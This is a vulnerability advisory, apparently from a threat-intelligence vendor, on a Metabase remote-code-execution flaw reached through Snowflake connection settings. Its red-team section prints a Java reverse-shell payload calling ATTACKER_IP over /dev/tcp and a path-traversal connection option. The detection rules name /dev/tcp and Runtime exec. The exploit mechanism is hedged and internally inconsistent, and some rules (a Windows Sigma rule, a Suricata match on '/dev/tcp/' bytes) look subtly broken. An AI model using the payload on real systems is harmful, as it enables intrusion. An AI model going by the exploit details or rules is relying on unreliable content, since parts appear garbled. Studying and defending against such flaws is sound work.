CVE-2026-50148

Executive Summary

CVE-2026-50148 is a critical remote code execution (RCE) vulnerability in Metabase, an open-source business intelligence and embedded analytics tool. The flaw resides in the Snowflake database connection configuration. A user with permission to add or edit a database connection can exploit a path traversal vulnerability in the Snowflake JDBC driver to write arbitrary files to the Metabase server's filesystem. By overwriting a Metabase database driver JAR file, the attacker can achieve code execution within the Metabase process. The vulnerability has a CVSS score of 10.0, indicating maximum severity. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

This vulnerability is not directly a supply chain attack, but it exploits a weakness in a third-party JDBC driver (Snowflake). The attack surface is expanded by the ability to replace Metabase's own driver files, which are part of the application's package. Organizations using Metabase with Snowflake connections should treat this as a critical supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs a valid Metabase user account with permission to add/edit database connections.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Changed (C) - The vulnerability can impact resources beyond the original security scope.
• Confidentiality (C): High (H) - Complete disclosure of all data on the system.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Total shutdown of the affected resource.

Threat Level: Critical. The combination of low privileges required, network attack vector, and maximum impact makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability is a two-stage attack:

1. Path Traversal via Snowflake JDBC Driver: The Snowflake JDBC driver has a flaw that allows an attacker to control the file path when writing temporary or configuration files. By crafting a malicious Snowflake connection string (e.g., using file:/// or path traversal sequences like ../), an attacker can write arbitrary files to any location on the Metabase server's filesystem that the Metabase process has write access to.

2. Driver Overwrite for RCE: Metabase loads its database drivers (JAR files) from a specific directory (e.g., plugins/). An attacker can overwrite one of these JAR files (e.g., the PostgreSQL or MySQL driver) with a malicious JAR file containing a class that executes arbitrary code when loaded. When Metabase next attempts to use that driver (e.g., when a user queries a database using that driver), the malicious code is executed within the Metabase process, achieving RCE.

Attack Flow:

1. Attacker gains access to a Metabase account with "Database" admin privileges.
2. Attacker creates a new database connection, selecting "Snowflake" as the type.
3. Attacker configures the Snowflake connection to point to an attacker-controlled server and includes a malicious path traversal payload in the connection string (e.g., in the account or warehouse field).
4. Metabase attempts to connect to the Snowflake server. The JDBC driver processes the malicious payload and writes a file (e.g., a malicious JAR) to the Metabase plugins directory, overwriting an existing driver.
5. Metabase loads the malicious driver on the next database query, executing the attacker's code.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code is in the Snowflake JDBC driver's handling of file paths. It does not properly sanitize user-supplied input used in file operations.

// Vulnerable Snowflake JDBC driver code (conceptual)
String filePath = connectionProperties.getProperty("filePath");
File outputFile = new File(filePath); // No path traversal check
// ... write data to outputFile

Patched Code (Conceptual): The patched code validates and sanitizes the file path, preventing traversal.

// Patched Snowflake JDBC driver code (conceptual)
String filePath = connectionProperties.getProperty("filePath");
Path sanitizedPath = Paths.get(filePath).normalize();
if (!sanitizedPath.startsWith(ALLOWED_BASE_DIR)) {
    throw new SecurityException("Invalid file path");
}
File outputFile = sanitizedPath.toFile();
// ... write data to outputFile

Metabase-Specific Fix: Metabase also implemented a fix by restricting the file paths that can be written to by the Snowflake driver, or by sandboxing the driver loading process.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Metabase instance (version 1.54.0 to 1.60.3) with a user account that has "Database" admin privileges.
• A server to host the malicious Snowflake JDBC driver and receive the connection.

Exploitation Steps:

1. Prepare Malicious JAR: Create a malicious JAR file that contains a class with a static initializer or a method that executes a reverse shell or other payload.

   // MaliciousDriver.java
   import java.io.*;
   public class MaliciousDriver {
       static {
           try {
               String[] cmd = {"/bin/bash", "-c", "exec 5<>/dev/tcp/ATTACKER_IP/4444; cat <&5 | while read line; do $line 2>&5 >&5; done"};
               Runtime.getRuntime().exec(cmd);
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   

   Compile and package into a JAR:

   javac MaliciousDriver.java
   jar cf malicious-driver.jar MaliciousDriver.class
   

2. Host Malicious JAR: Host the JAR on an HTTP server accessible from the Metabase server.

3. Configure Malicious Snowflake Connection: In Metabase, add a new database connection of type "Snowflake". Set the connection parameters to point to your server and include the path traversal payload.

   • Account: your-account (or a value that triggers the file write)
   • Warehouse: your-warehouse
   • Database: your-database
   • Schema: public
   • Additional JDBC options: filePath=../../plugins/malicious-driver.jar (or similar)

4. Trigger the Exploit: Save the connection. Metabase will attempt to connect, triggering the file write. The malicious JAR will be written to the plugins directory.

5. Execute Code: Trigger a database query that uses the overwritten driver (e.g., by running a question against a database that uses the overwritten driver). The malicious code will execute.

Blue Team (Defensive)

Detection:

• Monitor for unusual Snowflake connection attempts, especially those with suspicious JDBC options.
• Monitor file system changes in the Metabase plugins directory.
• Monitor for unexpected outbound connections from the Metabase server.

Prevention:

• Restrict database connection privileges to only trusted users.
• Implement network segmentation to limit Metabase's outbound access.
• Use a Web Application Firewall (WAF) to inspect and block malicious JDBC connection strings.
• Apply the patch immediately.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected JAR files in the Metabase plugins/ directory.
  • Modification timestamps on driver JAR files that do not align with updates.
• Network:
  • Outbound connections from the Metabase server to unknown IP addresses on port 4444 (or other reverse shell ports).
  • HTTP requests from the Metabase server to download JAR files from external servers.
• Logs:
  • Metabase logs showing errors related to Snowflake connection failures with unusual file paths.
  • System logs showing file write events to the plugins directory.
• Process:
  • Metabase process spawning child processes (e.g., /bin/bash, cmd.exe).

Detection Engineering

YARA Rule

rule CVE_2026_50148_Metabase_Snowflake_RCE {
    meta:
        description = "Detects malicious JAR files that may be used to exploit CVE-2026-50148"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-50148"
    strings:
        $s1 = "MaliciousDriver" ascii wide nocase
        $s2 = "Runtime.getRuntime().exec" ascii wide nocase
        $s3 = "/dev/tcp/" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-50148 - Metabase Snowflake RCE via File Write
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file write events to the Metabase plugins directory that may indicate exploitation of CVE-2026-50148.
author: Valters IT
date: 2026-01-01
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        TargetFilename|contains: '\\plugins\\'
        Image|endswith: '\\java.exe'
    condition: selection
falsepositives:
    - Legitimate Metabase plugin updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-50148 - Metabase Snowflake RCE - Outbound Connection"; flow:to_server,established; content:"|2f 64 65 76 2f 74 63 70 2f|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Metabase to the latest patched version (1.54.24, 1.55.24, 1.56.25, 1.57.19, 1.58.14, 1.59.10, or 1.60.4).
2. Restrict Privileges: Review and restrict database connection privileges to only essential users.
3. Network Segmentation: Isolate the Metabase server from untrusted networks.

Long-Term Mitigations:

• Implement file integrity monitoring (FIM) on the Metabase plugins directory.
• Use a Web Application Firewall (WAF) to inspect and block malicious JDBC connection strings.
• Regularly audit database connections for suspicious configurations.
• Apply the principle of least privilege to all Metabase users.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division